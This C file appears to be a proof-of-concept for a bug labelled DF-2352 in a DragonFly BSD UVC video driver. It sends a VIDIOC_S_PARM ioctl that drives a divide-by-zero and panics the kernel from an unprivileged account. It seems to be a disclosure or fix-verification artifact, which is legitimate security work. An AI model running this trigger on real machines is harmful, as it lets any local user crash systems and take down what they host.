DF-2352 / trigger_sparm.c
/* * trigger_sparm.c -- unprivileged trigger for DF-2352. * * Plain local user; /dev/video0 is created by the production * uvc_v4l2_reg() with mode 0666 (UID root, GID video). * * Emits VIDIOC_S_PARM -> production dispatch: * uvc_v4l2_ioctl (uvc_v4l2.c:503) * -> uvc_drv_set_streampar (uvc_drv.c:1370) * -> uvc_drv_try_frame_interval (uvc_drv.c:480) * continuous branch divides by step == 0 (uvc_drv.c:504) * -> kernel #DE (divide error) -> panic * * Structs/ioctl numbers mirror the kernel's own * sys/contrib/v4l/videodev2.h (DragonFly uses _IOWR('V', 22, ...) for * VIDIOC_S_PARM -- NOT the Linux number 75). */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <fcntl.h> #include <unistd.h> #include <stdint.h> #include <sys/ioctl.h> struct v4l2_fract { uint32_t numerator; uint32_t denominator; }; struct v4l2_captureparm { uint32_t capability; uint32_t capturemode; struct v4l2_fract timeperframe; uint32_t extendedmode; uint32_t readbuffers; uint32_t reserved[4]; }; struct v4l2_streamparm { uint32_t type; /* enum v4l2_buf_type */ union { struct v4l2_captureparm capture; uint8_t raw_data[200]; } parm; }; #define V4L2_BUF_TYPE_VIDEO_CAPTURE 1 #define VIDIOC_S_PARM _IOWR('V', 22, struct v4l2_streamparm) int main(int argc, char **argv) { struct v4l2_streamparm parm; const char *dev = (argc > 1) ? argv[1] : "/dev/video0"; int fd, ret; fd = open(dev, O_RDWR | O_NONBLOCK); if (fd < 0) { perror("open"); return 1; } printf("trigger_sparm: opened %s as uid=%d\n", dev, getuid()); memset(&parm, 0, sizeof(parm)); parm.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; parm.parm.capture.timeperframe.numerator = 1; parm.parm.capture.timeperframe.denominator = 30; printf("trigger_sparm: issuing VIDIOC_S_PARM (expect kernel " "divide-error panic on vulnerable code; never returns)\n"); fflush(stdout); ret = ioctl(fd, VIDIOC_S_PARM, &parm); printf("trigger_sparm: ioctl returned %d errno=%d (no panic -- " "code is fixed or device absent)\n", ret, errno); return 0; } |